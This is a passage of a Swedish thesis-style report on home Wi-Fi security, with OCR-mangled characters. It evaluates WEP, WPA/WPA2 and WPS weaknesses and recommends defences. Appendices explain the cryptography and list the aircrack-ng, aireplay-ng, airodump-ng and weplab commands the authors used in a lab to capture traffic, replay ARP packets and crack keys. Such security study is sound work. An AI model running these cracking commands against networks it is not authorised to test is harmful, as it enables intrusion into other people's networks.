injicera ARP-paket i nitverket, vilket leder till att WEP-16senordet berdknas pa minuter.

Vart argument om att WEP bor undvikas stdds av testresultaten. Dessa pekar pd att en
angripare kan behdva sé pass lite som 8 950 unika initialiseringsvektorer, medan vissa
resultat visar att nyckeln inte kan berdknas trots tillgang till 1 712 445 unika
initialiseringsvektorer. Den forceringsattack som utfordes visar dven pa att WEP med 40
bitar lang kryptering gar att forcera pd bara ndgra dagar, och dd endast med nagra fa
paket.

5.2 Séakerhetsprotokollen Wi-Fi Protected Access och Wi-Fi Protected Access 2
En brist i bAde WPA och WPA?2 ir att inget starkt 16senord krdvs. Endast ett minimikrav
av atta tecken finns [5, pp. 166]. Detta var den enda svaghet i WPA2 som kunde hittas
under arbetets gang. Ett svagt l10senord 0kar sannolikheten att det dterfinns i nagon eller
nagra av de ordlistor som finns tillgédngliga pa Internet. Se avsnitt 4.2 for vara
testresultat.

En DoS-attack kan vara mojlig i ett ndtverk dir accesspunkten dr konfigurerad att
anvdnda enbart sdkerhetsprotokollet WPA, eller WPA tillsammans med WPA2 i
kombinerat 14ge. Detta gor att en klient som anvénder sikerhetsprotokollet WPA2 ocksa
blir drabbad. Dock ar DoS-attacken nog mer ett storande problem, &n ndgot som
dventyrar sikerheten i det tradlosa nitverket. En beskrivning av attacken finns i avsnitt
243.2.

Martin Beck beskriver en attack, i en rapport [33] som publicerades ar 2010, dir QoS
utnyttjas for att dekryptera paket som skickas till en klient. Antagligen &r denna attack
inte det sista problemet sidkerhetsprotokollet WPA kommer att drabbas av da nya brister
kontinuerligt har upptickts de senaste dren. Aven standarden avrader fran anvindning
av TKIP i sdkerhetssammanhang [8, pp. 1163].
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5.3 Sikerhetslosningen Wi-Fi Protected Setup
Da tidsatgdngen for en attack var relativt kort hade en angripare effektivt kunnat
genomfora dessa. For testresultat se Tabell 5.

Tabell 5. Resultatet frdan genomforda tester mot séikerheten i WPS med Reaver.

Test Sekunder |Forsok per Maximal attacktid 1 Maxim.al. Timmar tills .
per forsok |sekund  [timmar attacktid i dagar [l6senord éterfunnits

1 6 0,17 18,33 0,76 8,3

2 3 0,33 9,17 0,38 7,6

3 36 0,03 110 4,58 -

4 6 0,04 79,44 3,31 -

Test 1 och Test 2 kan genomfdras pa under tio timmar, vilket ir mycket allvarligt. Aven
en attack som gar s& ldngsamt som 7est 3 hade gatt att genomfora for en malmedveten
angripare. I Test 4 hade tillverkaren implementerat en egen sédkerhetslosning som
innebar att den traddlosa hemroutern 1dste sig i 60 sekunder efter tre felaktiga forsok.
Dock dr denna tid absolut inte tillrdckligt lang for att gora attacken praktiskt omgjlig, vi
bedomer den fortfarande som realistisk och genomforbar. En del av de attacker som
utfordes gick inte att fullfolja da tillverkare implementerat skydd mot denna attack som
liknar det som ingar i nya WPS-specifikationen [18, pp. 24], det vill sdga att routern
forhindrar externa registratorer fran att ansluta sig helt efter ett antal felaktiga forsok.

Wi-Fi Protected Setup version 1.0h gor att minga, annars sdkra, ndtverk med WPA2
ligger Oppna for ett vildigt simpelt och effektivt angrepp. Anvéndare maste se till att
uppdatera sin programvara och rekommenderas att inaktivera WPS tills en erkind
16sning finns tillgdnglig. Det kan vara vért att notera att det har rapporterats om tradlosa
routrar ddr WPS inte kan inaktiveras [34]. Skulle detta vara fallet bor hemroutern inte
anvinds over huvud taget. I dagsléget saknas en erkdnd 16sning [22] till dessa problem
men Wi-Fi Alliance slippte den 30 januari ar 2012 den uppdaterade versionen av WSC
(Wi-Fi Simple Configuration) [18]. Specifikationen maste uppfyllas for att en produkt
ska bli certifierad [35] for WPS. Denna innehaller dndringar som starkt begrénsar risken
att enheter utsétts for en lyckad forceringsattack. Bland annat star det nu att
accesspunkten maste 13sa sig efter maximalt tio, efter varandra foljande, felaktiga forsok
oavsett hur ldng tid det gar mellan forsoken. Hur lasningen ska fungera beskrivs i
avsnitt 2.5.2.3.

En allvarlig brist &r att accesspunkter anvénder sig av statiska PIN-koder. PIN-koden
beskrivs utforligare i avsnitt 2.5.2.2. Anvédndaren har ofta inte ndgon mgjlighet att dndra
PIN-koden. Dérfor kan ndgon som vil kommit éver PIN-koden anvinda denna for att
ansluta fler enheter och dessutom ta fram nétverkslosenordet oavsett hur manga génger
detta dndras. Tillverkare hade enkelt kunnat 16sa detta problem genom att sitta in en
LED-skérm i den tradlosa hemroutern, vilken visar en ny dynamiskt genererad PIN-kod
varje gang registrationsprotokollet inleds. Detta hade gjort forceringsattacken, som
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anvéandes 1 vara tester, praktiskt obrukbar da den bygger pa att kora protokollet flera
ganger. D4 ny PIN-kod hade genererats varje gdng hade en angripare inte haft ndgon
nytta av den information denne fatt fran accesspunkten. Angriparen hade darfor behovt
gissa pa sju av PIN-kodens atta siffror, den dttonde siffran beréknas utifran de andra sju.

En angripare som forsokt utfora forceringsattacken hade séledes bara haft

%07:0,000 0001% chans att gissa rétt vid varje forsok. Var uppfattning ar dock att

denna sannolikhet dr for hog for att man skulle kunna slopa den lasningsmekanism som
beskrivs 1 avsnitt 2.5.2.3. Enligt oss hade en kombination av en dynamiskt genererad
PIN-kod och ldsningsmekanismen gett anvéndaren det bésta skyddet.

En angripare skulle kunna ansluta till nédtverket, precis som 1 nuldget, om denne har
tillgng till den traddlosa hemroutern. Detta problem skulle kunna dtgérdas genom att
generera PIN-koden 1 ett 16senordsskyddat webbgréinssnitt istdllet for pd en skérm.
Dock skulle grundtanken med WPS kunna gd forlorad, det vill sdga att det ska vara
enkelt for anvandaren. En PIN-kod som anvédndaren kommer 4t via ett 16senordsskyddat
webbgrinssnitt dr inte ldttare att nd &n ett nétverkslosenord. En stold av enbart PIN-
koden ses som hogst osannolik d& en obehorig person skulle behdva fysisk tillgang till
accesspunkten. Dérfor ser vi tidigare presenterad sdkerhetslosning som rimlig och
tillrackligt séker.

En dynamiskt genererad PIN-kod rekommenderas redan i den forsta specifikationen av
WPS [19, pp. 17]. Dock har en stor majoritet av tillverkarna valt att inte implementera
detta 1 sina tradldsa routrar, troligtvis av kostnadsskil samt for att det inte krévs for att
en enhet ska bli certifierad. Under arbetets gdng har det inte hittats en enda tradlos
hemrouter som genererar en PIN-kod och visar denna pa en skdrm. For att atgirda de
brister som finns i registrationsprotokollet krdvs en ny version av specifikationen, dér
det ar ett krav att alla PIN-koder ska genereras och visas pd en skdrm varje ging
protokollet kors.

5.4 Utstorning av tradlosa hemniitverk

Testade attacker dr mdjliga att genomfora eftersom administrationsramens avsidndare
inte kan verifieras. Om ramen krypteras skulle attacker, som till exempel
avautentisering, bli svérare. Detta hade dven lett till att det skulle bli svarare att tvinga
fram en fyrvdgshandskakning, vilken kan anvéndas vid forcering av WPA (Wi-Fi
Protected Access) och WPA2 (Wi-Fi Protected Access 2). Ett annat sitt att skydda sig
mot avautentiseringsattacken &r att kontrollera foljden pa de meddelanden som skickas
frén en enhet. Detta skydd beskrivs i [24]. Kommer en dataram fran en enhet efter att en
avautentiseringsram skickats kénns det rimligt att anta att ramen kom frin en angripare.
Har ingen dataram kommit inom en viss tid kan enheten avautentiseras som vanligt.

Massutskick av beacon-ramar édr verkningslost mot en redan ansluten anvéndare. Dock

har det en viss inverkan mot anvdndare som vill ansluta dd det forsvarar
anslutningsprocessen. Dock dr attacken mer ett irritationsmoment eftersom anvindaren
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kan skriva in anslutningsparametrarna manuellt.

5.5 Undersokning av sikerhetslosningars forekomst i hemnétverk

Vi tror att manga anvéndare foljer de rdd som ges av Internetleverantdrers kundtjénster,
darfor ar det bedrovligt att Internetleverantorer i vissa fall inte avrdder anvéndning av
WEP (Wired Equivalent Privacy). Informationsspridningen verkar gd mycket langsamt
da bristerna varit kdnda 1 flera ar. Internetleverantorer borde dérfor utbilda sin personal
inom omradet. Det var inte nagra problem att hitta natverk som &n idag anvinder WEP,
vilket visar pa att informationsspridningen har varit otillrdcklig. Majoriteten av nitverk
anviander dock det béttre sdkerhetsprotokollet WPA2 (Wi-Fi Protected Access 2). En
viss okunskap verkar dven rada kring WPS (Wi-Fi Protected Setup) da flertalet av
kundtjanstmedarbetarna inte ens visste vad WPS var for nigot.
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6 Slutsatser

Vért huvudmal var att ta reda pad om det var sdkert att anvianda tradlosa hemnétverk.
Efter genomfort projekt anser vi att det dr sékert for gemene man att anvédnda sig av
tradlosa hemnitverk eftersom en stor del av dessa anvinder ett starkt skydd och hotet
anses vara relativt lagt.

P& grund av det vixande antalet trddlosa hemnitverk blir det allt viktigare att
information om de sdkerhetslosningar som rekommenderas sprids till gemene man. Vi
anser att detta &r tillverkares och Internetleverantorers ansvar. Dessutom bor de
underldtta anvéindandet av dessa.

An idag anviinds sikerhetsldsningar som har kinda brister, dérav stimmer medias bild
av problemet fortfarande. Detta eftersom dagens verktyg, dmnade att ta sig in i
hemnitverk, ar lattillgingliga och lattanvénda.

Efter genomforda studier kunde det konstateras att WEP (Wired Equivalent Privacy)
borde undvikas helt. Detta eftersom de brister som finns gor det mdjligt att fa tag pd
nétverkslosenordet pd ett fital minuter. Dessutom kunde attackerna utforas valdigt
enkelt med néstan helt automatiska verktyg, vilket innebér att alla som vill lira sig
processen att ta sig in pd ett hemnitverk med WEP enkelt kan gora det. Skulle en
angripare fa tag pa nétverksnyckeln ar den personliga integriteten hotad di bland annat
nétverkstrafiken kan dekrypteras.

Aven anvindning av sikerhetsprotokollet WPA (Wi-Fi Protected Access) avrads.
Protokollet skyddar visserligen betydligt battre &n WEP, men det har pa senare &r hittats
ett antal brister som gor protokollet relativt sérbart. Ingenting tyder pa att upptackten av
nya brister kommer avstanna.

WPA2 (Wi-Fi Protected Access 2) har hittills inga kdnda brister, forutom nér det
kombineras med WPA. WPA2 é&r enligt oss det sékraste alternativet idag, och darfor
rekommenderas detta. Enda nackdelen dr att WPA?2 inte kréver ett starkt 16senord. Detta
gor att anvdndare kan gora hemnitverk mindre sdkert genom att vilja ett WPA2-
16senord som har ldg komplexitet, det vill sdga ett kort I6senord som en angripare enkelt
kan gissa.

WPS (Wi-Fi Protected Setup) version 1.0h bor inte anvindas 6ver huvud taget da det
kan gora ett annars sidkert hemndtverk, med ett starkt WPA2-16senord, osdkert. Dock
anser vi att WPS ir ett verktyg som kan forenkla installation och konfiguration av ett
tradlost ndtverk samt hoja sidkerhetsnivan. P4 grund av bristerna i version 1.0h dr det
viktigt att enheterna &r certifierade enligt WSC (Wi-Fi Simple Configuration) version
2.0.2 [18] dér den kédnda forceringsattacken ar praktiskt ogenomforbar. Allra helst bor
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en ny version av WSC-specifikationen utvecklas, déir det infors krav pa att en dynamiskt
genererad PIN-kod visas varje ging registrationsprotokollet kors for att ytterligare
stirka sdkerheten.

WPS version 2.0.2 bor anvindas, eftersom denna underlittar installationen av ett sdkert
hemnédtverk. Dock dr det viktigt att alla enheter i nétverket har stod for WPA2.
Anvindare avrads fran att &ndra det WPA2-16senord som genereras under installationen,
dé anvédndarvalda losenord ofta dr underméliga.

Efter genomford undersokning kunde det konstateras att flera ndtverk fortfarande
anvander svaga sidkerhetslosningar, trots att brister i dessa varit kédnda sen ldnge. Den
bristande kunskapen hos Internetleverantérernas kundtjanster har troligtvis bidragit till
detta d&@ manga anvéindare foljer deras rad. Internetleverantorer bor ta ett storre ansvar
nér det géller att formedla information om olika sikerhetslosningar och dess brister.

Ytterligare studier p4 WPS skulle kunna genomforas da fler och fler enheter anvénder
denna relativt nya teknologi. Som vi lart oss under arbetets gédng har ny teknologi ofta
dolda brister som upptickts forst efter att den blivit utbredd. Dérfor ar antagligen inte
alla brister 1 WPS funna 1 dagslaget.

Gemene hemanvindare kan idag kénna sig trygg vid anvidndning av sitt tradlésa
hemnétverk oavsett sédkerhetslosning. Detta eftersom hotbilden &r relativt 1ag dd det inte
finns sa stor vinning 1 att ta sig in i en hemanvéndares nétverk. For en person som ir ute
efter ekonomiska tillgdngar finns det betydligt effektivare tillvigagangssitt &n att
angripa det trddlosa ndtverket. Dock kan vissa personer vara i behov av bittre
sdkerhetslosningar d& de har tillgdng till eftertraktade resurser sa som
foretagshemligheter, konfidentiella uppgifter och stora ekonomiska tillgangar. I
framtiden ser vi ett okat behov av palitliga sékerhetslosningar dven for den gemene
hemanvindaren da en allt storre del av véra liv digitaliseras.
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Appendix A Stromchifferalgoritmen RC4

RC4 (Ron's Code 4) [36] togs fram ar 1987 av Ron Rivest pd RSA Security. Det ar en
pseudoslumpmadssig nyckelstromgenerator som bland annat anvinds 1 WEP (Wired
Equivalent Privacy), WPA (Wi-Fi Protected Access) och SSL (Secure Sockets Layer).
RC4 har tvd huvudfaser varav den forsta &r initieringsfasen och den andra dr generering
av nyckelstrémmen.

For att generera en nyckelstrom med RC4 anvinds en nyckel som indata till
initieringsfasen. Denna nyckel kan vara mellan 1 och 256 oktetter ldng. RC4 genererar
alltid samma nyckelstrom utifrdn samma nyckel. Initieringskoden for RC4 kan se ut pa
foljande sitt:

i=j=20

S=10,1, 2, .., 255]

for i = 0 to 255:
j = (j + S[i] + key[i % len(key)]) % 256
S[il, S[jl = SI[jl, SIil

i=3=20

Efter initieringsfasen kan sedan en pseudoslumpmissig nyckelstrom genereras med
foljande kod:

i=(i+1) %256

j = (j + S[i]) % 256

S[i], SI[jI = SI[jl, SI[i]
return S[(S[i] + S[j]) % 256]

Niér en oktett efterfrdgas av nyckelstromsgeneratorn foréndras féltet S. Detta da varje
forfragan kan leda till att tva element 1 faltet byter plats, vilket gor att det &r svért att
utifran en given bitstrdm berdkna den nyckel som anvédndes for att skapa strommen.



Appendix B Ekvationen som utnyttjas vid den statistiska attacken mot WEP

Ut=Forsta oktetteni nyckelstrommen
S =Transformeringsvektorns tillstand
B = Positionsvariabel

K [ B |=Oktetten pd position Binyckeln
j = Positionsvariabel

I1=B+3

S, =S8 efter nsteg

J,=Jefter nsteg

Ut:S1+B—1 [j]+B]:S1+B—1[j1+B—l+K[B]+SI+B—1[I+B]]
Vilket kan transformeras till:

K[B]=S/s51[Ut]= jrup-1—Sii5-1[1+B]
Dir S™'[X] ér positionen av X i S. Den forsta oktetten i ett WEP-datafilt har
alltid vérdet OxAA innan den krypteras. Virdet kommer fran SNAP (Subnetwork Access
Protocol) [37]. For att berdkna den forsta oktetten 1 en nyckelstrom anvénds:

C=Forsta oktetteni det krypterade paketets dataflt

OxAA ® C=Ut

Med K[B]=S7i[Utl=jip1—S;s[I+B] kan sedan en mojlig oktett av
nyckeln rdknas ut. Sannolikheten att den antar det korrekta vérdet dr cirka 5 % [3]. Efter
att ha upprepat denna funktion tillrackligt ménga gidnger med olika paket som indata
kommer den korrekta oktetten troligen vara den som forekommit flest ganger.
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Appendix C MIC

En MIC (Message Integrity Code) anvénds for att forsidkra sig om att ett meddelande
som skickats inte har blivit modifierat pa végen till destinationen. Det &r ocksa
meningen att den ska fungera som en verifikation pa att meddelandet verkligen kommer
frén nadgon som kénner till ndtverkets PMK (Pairwise Master Key), da denna PMK dr
nddvindig for att generera en identisk MIC. En beskrivning av PMK finns i Appendix J.

MIC-algoritmen i TKIP (Temporal Key Integrity Protocol), dven kallad Michael [8, pp.
1 197], fungerar pa sa sitt att den alltid genererar samma virde for ett givet
meddelande, oavsett hur manga génger meddelandet stoppas in i algoritmen. TKIP
lagger till en MIC 1 slutet pd en MSDU (MAC Service Data Unit), vilken dérefter
krypteras. Se Appendix K for en beskrivning av MSDU. Mottagaren av meddelandet
dekrypterar och kér meddelandet i en identisk algoritm som avsidndaren anvédnde for att
skapa det bifogade MIC-virdet. Om algoritmen ger samma MIC som det bifogade
virdet anses meddelandet vara omodifierat. Nedan beskrivs algoritmen Michael i
pseudokod.

(1, r) = (KO, K1)
for i = 0 to N-1 do
1 =1 XOR M-1i
( r) = b(l, r)

L,
return (1, r)

Nyckeln som stoppas in 1 algoritmen Michael bestar av 64 bitar och delas upp 1 tva
stycken 32 bitar lénga delar, hér kallade K, och K,. Aven en, om nodvindigt
expanderad, MSDU ér indata till Michael. Expansionen som eventuellt goérs pd en
MSDU har som funktion att fa lingden av den att bli en multipel av fyra, da det
underlattar berdkningarna som gors i Michael. Denna MSDU delas sedan upp i1 en
sekvens, ddr varje del n bestdr av 32 bitar. Dessa bendmns M till och med

M ,_,. Initialt sparas K, i variabeln / och K, 1 variabeln . Sedan kors for-

loopen n ganger och varje iteration bestar av tva steg. I det forsta steget utfors XOR
pa variabeln / med delen M, och resultatet placeras i variabeln /. Ddérefter, i det
andra steget, stoppas variablerna / och » in i blockfunktionen b, vilken &ar
beskriven i pseudokod nedan. Resultatet fran b placeras i variablerna / och r.
Efter att dessa tva steg utforts n ganger returnerar Michael de 32 bitar langa vérdena
som finns i variablerna / och 7, vilka konverteras till en 64 bitar lang MIC.
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r=r XOR (L RV 17)
1L=(lL+r) % 232

r = r XOR XSWAP(1)
1L=(lL+r) % 232
r=r XOR (L RV 3)
1=(L+r) % 232
r=r XOR (L RH 2)
1L=(lL+r) % 232
return (1, r)

Blockfunktionen gor véxelvis additioner och XOR. RV (Rotera Vinster) och RH
(Rotera Hoger) ar rotationsoperationer, vilka gor sjutton, tre samt tvd rotationer pa
variabeln /. XSWAP idr en funktion som byter plats pd de tvd minst signifikanta
oktetterna i variabeln /. Efter att dessa operationer utforts pa variablerna / och r
returneras de.
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Appendix D Funktion for att blanda nycklar

Funktionen dr avsedd att tillhandahalla en ny krypteringsnyckel {for varje paket som ska
krypteras. For att paskynda genereringen av nya nycklar har funktionen delats upp i tva
faser. Processen som leder till att ett paket krypteras illustreras 1 Figur 22.

I den forsta fasen dr en TSC (7KIP Sequence Counter), en TK (Temporal Key) samt en
TA (Transmitter Address) indata till funktionen. En TSC anvénds, forutom som indata
till funktionen, dven for att numrera paketen som skickas. Detta gors for att motverka
aterspelningsattacker genom att inkrementera varje MPDU (MAC Protocol Data Unit)
med vérdet 1, samtidigt som mottagaren enbart tar emot paket som inkommer i ordning.
Se Appendix K {or en beskrivning av MPDU. Av en 48 bitar 1dng TSC &r det bara de 32
mest signifikanta bitarna som &r indata till den forsta fasen. Den utdata som erhalls fran
forsta fasen bendmns TTAK (7KIP-mixed Transmit Address and Key) och sparas 1 en
cache. Denna blir tillsammans med en TK samt de 16 minst signifikanta bitarna av en
TSC indata till funktionen 1 den andra fasen.

MSD
SbU > MSDU || MIC
- Michael
MIC-nyckel
Fragmentering
TSC v Inkapsling
Nyckelmixfunktion Nyckelmixfunktion
TA—» fas 1 fas 2 RC4-nyckel’|
TK " A 4
TTAK

Figur 22. Kryptering i TKIP.

Anledningen till att TTAK sparas i ett cacheminne ar att den kommer ha exakt samma
virde for de 2'°—1=65535 pa varandra efterfoljande paketen. Att géra om samma
berdkning 65 536 ganger for att fa samma virde som resultat dr ett sloseri pa resurser.
Déarfor himtas en TTAK direkt fran cachen nédr den ska anvidndas som indata till
funktionen i1 den andra fasen. Efter att dessa 65 536 paket krypterats maste en
uppdatering av TTAK goras. Orsaken dr att samtliga 65 536 mojliga viarden TSC kan ha
ar forbrukade. Om dessa ar forbrukade och TSC-vérdet sitts till 0 och inkrementeras pa
nytt utan att TTAK uppdateras kommer samma sekvens av krypteringsnycklar
anvéandas. Detta leder till att efterféljande 65 536 paket far samma kryptering som de
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foregaende 65 536 paketen. For att motverka detta inkrementeras den TSC som &r
indata till forsta fasen, vilket resulterar i att en ny TTAK anvénds som indata i den andra
fasen. Néar de 32 mest signifikanta bitarna av TSC ar forbrukade maste en ny TK
genereras for att erhélla en ny uppséattning krypteringsnycklar.

24 bitar 104 bitar

Initialiseringsvektor MNyckel

Forsta Andra Tredje
oltetten | oldetten | oldtetten

x|l x| 1

Bit 7 6

ElX| X

X
3 210

0
4

L

Figur 23. Funktionens utdata, dven kint som ett WEP-fré.

I den andra fasen har funktionen en TTAK, en TK samt de 16 minst signifikanta bitarna
av TSC som indata. Som utdata genereras ett si kallat WEP-fr6 (Wired Equivalent
Privacy seed) [8, Ch. 11.4.2.5 ], vilken anvinds for att generera nyckelstrommen som i
sin tur anvinds for att kryptera nistfoljande paket. Froets forsta 24 bitar 4r en
initialiseringsvektor som dels bestdr av de 16 minst signifikanta bitarna i TSC, och dels
av en kopia pa de 8 forsta av dessa. For att undvika kénda attacker baserade pa svaga

initialiseringsvektorer &r bit 5 satt till 1 och bit 4 satt till 0. Froets innehall visas i Figur
23.
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Appendix E AES-CCMP

AES (Advanced Encryption Standard) [38] anvidnder blockchifferalgoritmen Rijndael
for att utfora kryptering. Endast ett block krypteras at gangen och alla block méste besta
av ett bestimt antal bitar. I AES-CCMP, vilket anvinds 1 WPA2, maste alla block vara
128 bitar langa. Detta innebér att indata som Overstiger 128 bitar delas upp 1 block med
denna ldngd. Varje sadant block motsvarar det ursprungliga tillstdndet i algoritmen,
vilket sedan bearbetas i ett flertal steg innan det krypterade blocket returneras.

Chiffer(oktetter in[4*Nb], oktetter ut[4*Nb], ord w[Nb*(Nr+1)])
tillstand = in
AddRoundKey (tillstand, w[0, Nb-1])
for runda = 1 steg, 1 till Nr-1
SubBytes (tillstand)
ShiftRows (tillstand)
MixColumns (tillstand)
AddRoundKey (tillstand, w[runda*Nb, (runda+1)*Nb-1])
slut for

SubBytes(tillstand)
ShiftRows (tillsténd)
AddRoundKey (tillstand, w[Nr*Nb, (Nr+1)*Nb-1])

ut = tillstand
return ut

Varje varv i for-loopen kallas for en runda. Det som utfors i varje runda &r att fyra
stycken funktioner modifierar tillstindet, en funktion i taget. Antalet rundor som kors
varierar beroende pa nyckelns langd. Detta antal sparas i variabeln N, dédr for-loopen

kors igenom N, —1 géanger. For en 128 bitar 1ang nyckel far variabeln N, vérdet tio,
se Tabell 10 for virdet av N, vid olika nyckelldngder. Detta innebér att de fyra

funktionerna 1 for-loopen kommer att koras nio gédnger. Darefter kors endast SubBytes-,
ShiftRows- och AddRoundKey-funktionerna. Tillstindet som fas som resultat av denna
algoritm motsvarar det krypterade 128 bitar l1dnga blocket.

Tabell 10. Antal rundor som kors per nyckelldngd.

Nyckelldingd |Blockstorlek | Antal rundor

(N, ord) |( N, ord) |( N, styck)
AES-128 4 4 10
AES-192 6 4 12
AES-256 8 4 14
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Appendix F Installationsmetoder i WPS

F.1 PIN

Om PIN (Personal Identification Number) anvinds for installation har varje enhet som
ska ansluta till natverket en PIN-kod. Vanligtvis stdr denna kod pd enheten men kan
ocksd genereras dynamiskt och visas pd en skdrm. Anvindningen av PIN-kod ska
sdkerstdlla att inga obehoriga enheter ansluts till ndtverket. I Figur 24 visas ett exempel
pa hur WPS kan genomforas med en PIN-kod.

Y Starta accesspunki
och klientenhet

Accesspunkt  Klientenhet

N Aktivera WPS pa
Ett niatverksnamn senereras R
i . - display pa accesspunki
automatiskt vid uppstart -
eller genmom webblisare

Webblisare

sknv in PIN-kod via display
pd accesspunkt eller
genem webblisare

Webblisare Klientenbet

Figur 24. Beskrivning 6ver hur WPS kérs med PIN.

Anvéndaren anger en PIN-kod 1 sin registrator oftast via ett grafiskt anvindargrénssnitt.
Vilken PIN-kod som ska anges beror pd om registratorn ér intern eller extern. Om
registratorn dr intern maste anvindaren ange klientenhetens PIN-kod i accesspunktens
webbgriinssnitt. Ar registratorn diremot extern ska accesspunktens PIN-kod anges
direkt 1 klientenheten.
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F.2 PBC

Med PBC (Push Button Configuration) ansluter anvdndaren Oonskad enhet till det
tradlosa nitverket och aktiverar datakryptering genom att trycka pa en knapp pa bade
accesspunkten och klientenheten. Denna knapp kan vara fysisk eller grafisk. Efter att
anvéandaren tryckt pa knapparna startar utbytet av de autentiseringsuppgifter som krévs,
denna process kan pagd under ett antal sekunder. Det &r vért att notera att under
processen kan oonskade enheter inom riackhall ansluta till ndtverket. Figur 25 visar hur
WPS kors med PBC for att ansluta en skrivare till det tradldsa nitverket.

r-\ Starta accesspunkt
och klientenhet

Hemrouter K lientenhet

Ett niitverksnamn gencreras
automatiskt vid uppstart

Tryek pa WFS knappen pa
accesspunkt och klientenhet

Hemrouter Klientenhet

Figur 25. Beskrivning over hur WPS kors med PBC.

),
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Appendix G Uppticktsfasen i WPS

En klientenhet som vill kéra upptécktsfasen kan vilja pé foljande tva metoder:

Enheten kan aktivt skicka ut probe-forfragningar som inkluderar ett
informationselement, definierat av WPS (Wi-Fi Protected Setup), till en
accesspunkt. Accesspunkten kommer att svara med probe-svar som inkluderar
klientenhetens informationselement. Om informationselementet i probe-svaret
innehdller information om flera registratorer rekommenderas denna metod
endast om klientenheten tianker goéra sig synlig men inte har avsikten att fa
detaljerad information om externa registratorer.

En klientenhet kan ocksé vilja att associera sig till en accesspunkt med stod for
WPS och initiera registrationsprotokollet genom att skicka meddelande M,
till registratorn. Skulle det vara sd att registratorn inte dr redo att registrera
enheten till ndtverket svarar den med M ,,. Denna metod rekommenderas av
Wi-Fi Alliance om syftet dr att klientenheten ska upptédcka tillgéngliga
registratorer och gora sig sjédlv synlig.

I det fall da en accesspunkt agerar klientenhet initieras upptiacktsfasen hos registratorn
pa foljande sitt:

En tradlos extern registrator skickar probe-forfragningar som inkluderar ett
informationselement innehallande information om att den dr en registrator.
Accesspunkten svarar med ett probe-svar som ocksd innehdller ett
informationselement men da innehdller information om att den é&r en
accesspunkt.

En trddansluten registrator anvinder sig av en ldmplig UPnP-mekanism for att
identifiera accesspunkten.



Appendix H PIN-koden i WPS

De krav som giller for PIN-koden (Personal Identification Number) for de tva
huvudsakliga produkttyperna &r:

* Enheter utan skdrm maéste ha en étta siffror 14ng PIN-kod. Denna kod ska sta pa
enheten. Den sista siffran i koden anvédnds som en kontrollsumma for de andra

sju siffrorna. Kontrollsumman beréknas pé foljande vis i C-kod:

int ComputeChecksum(unsigned long int PIN)

{
unsigned long int accum = 0;
PIN *= 10;
accum += 3 * ((PIN / 10000000) % 10);
accum += 1 * ((PIN / 1000000) % 10);
accum += 3 * ((PIN / 100000) % 10);
accum += 1 * ((PIN / 10000) % 10);
accum += 3 * ((PIN / 1000) % 10);
accum += 1 * ((PIN / 100) % 10);
accum += 3 * ((PIN / 10) % 10);
int digit = (accum % 10);
return (10 - digit) % 10;

}

* Enheter som anvinder en skirm for att visa enhetsldsenordet och kan generera
nya PIN-koder maste anvidnda sig av antingen en fyra eller atta siffror lang kod.
Om étta siffror anvinds 1 PIN-koden anvénds &terigen den sista som en
kontrollsumma baserad pd de forsta sju siffrorna. En fyrsiffrig PIN-kod
inkluderar ingen kontrollsumma.
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Appendix I Kommandon som utforts vid testerna
Alla kommandon kordes 1 utbildningssyfte i1 en kontrollerad laborationsmiljé. Dessa ska
absolut inte anvindas for att olovligen ta sig in i tradlosa nitverk.

1.1 WEP
For att utfora testerna maste nitverkskortet forséttas i overvakningsldge, dock maste
forst natverkskortet identifieras. Detta gjordes med foljande kommando:

+ sudo ifconfig

Kommandot gav oss grinssnittet pad ndtverkskortet. For att undvika resurskonflikt
avslutades network-manager med f6ljande kommando:

+ sudo /etc/init.d/network-manager stop
Daérefter kunde nétverkskortet forséttas i 6vervakningsldge med hjilp av:

* sudo airmon-ng start <ndtverksgranssnitt>
ndtverksgrdnssnitt — Namnet pa natverkskortets grianssnitt.

Detta startade dvervakningsldget och gav oss ett nytt granssnitt med namnet mon(. For
att starta en avlyssning med hjélp av airodump-ng kordes foljande kommando:

e sudo airodump-ng --bssid <BSSID> --output-format pcap -w
<filnamn> <grédnssnitt>

BSSID — MAC-adressen for médlnatverket.
filnamn — Filen dér all avlyssnad data sparas.
grdanssnitt — Namnet pa overvakningsgransnittet.

D4 endast trafik fran var hemrouter ska avlyssnas anges dess MAC-adress. Resultatet av
avlyssningen kommer att lagras i en fil.

For att berikna WEP-nyckeln anvédndes verktyget aircrack-ng med foljande kommando:

e aircrack-ng <filnamn>
filnamn — Filen dér all avlyssnad data sparats.

Detta program forsoker berdkna den nyckel som anvéndes. De ganger dd programmet

inte lyckades berdkna nyckeln invintade programmet fler avlyssnade paket for att
dérefter ateruppta forsoket.
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I.1.1 Injicering av paket
For att aktivt generera mer trafik anvdndes verktyget aireplay-ng, vilket innehaller
flertal olika sorters attacker. ARP-aterspelning startades med foljande kommando:

* sudo aireplay-ng -3 -b <BSSID> -h <AvsdndarMAC> <grédnssnitt>
BSSID — MAC-adressen for malnatverket.
AvsdndarMAC — Natverkskortets MAC-adress. Ofta kopieras denna fran en
klient ansluten till malnétverket.

Detta kommer att starta en avlyssning fran ndtverket vars accesspunkt har BSSID
<BSSID> och en klient med MAC-adress <AvsdndarMAC> kommer emuleras. Nér ett
ARP-paket gar over néitverket kommer aireplay-ng att identifiera det utifran dess storlek
som alltid &r den samma for att sedan aterspela detta pa nétverket, for att pa sa sétt fa
nitverkets enheter att svara pa den aterspelade forfragan.

1.1.2 Forcering av losenordet
For att utfora forcering av WEP anvinds programmet weplab med foljande kommando:

weplab --bssid <BSSID> -m <antalkdrnor> -k <nyckelstorlek> -b
<filnamn>

BSSID — MAC-adressen for mélndtverket.

antalkédrnor — De antal kdrnor som skall anvéndas till forceringen
nyckelstorlek — Storleken pd den nyckel som skall forceras.
filnamn — Filen dér all avlyssnad data sparas

1.2 Forcering av WPA och WPA2 med ordlista

Programpaketet Aircrack-ng anvindes tillsammans med tvd nedladdade ordlistor vid
forceringen av. WPA och WPA2. En ordlista och ett sdkerhetsprotokoll testades at
gangen. Natverkskortet sattes i 6vervakningslige med foljande kommando:

*+ sudo airmon-ng start <nédtverksgrdnssnitt>
ndtverksgrdnssnitt — Namnet pa natverkskortets granssnitt.

Ett granssnitt vid namn mon( skapades. For att borja avlyssna trafiken, med maélet att
finga en handskakning, anvindes f6ljande kommando:

* sudo airodump-ng --bssid <BSSID> --output-format pcap -w
<filnamn> <granssnitt>

BSSID — MAC-adressen for méalnatverket.
filnamn — Filen dér all avlyssnad data sparas.
grdnssnitt — Namnet pa overvakningsgranssnittet.

Eftersom endast en klient var ansluten till nidtverket och inga nya vintades ansluta
anvéndes foljande kommando for att avautentisera klienten:
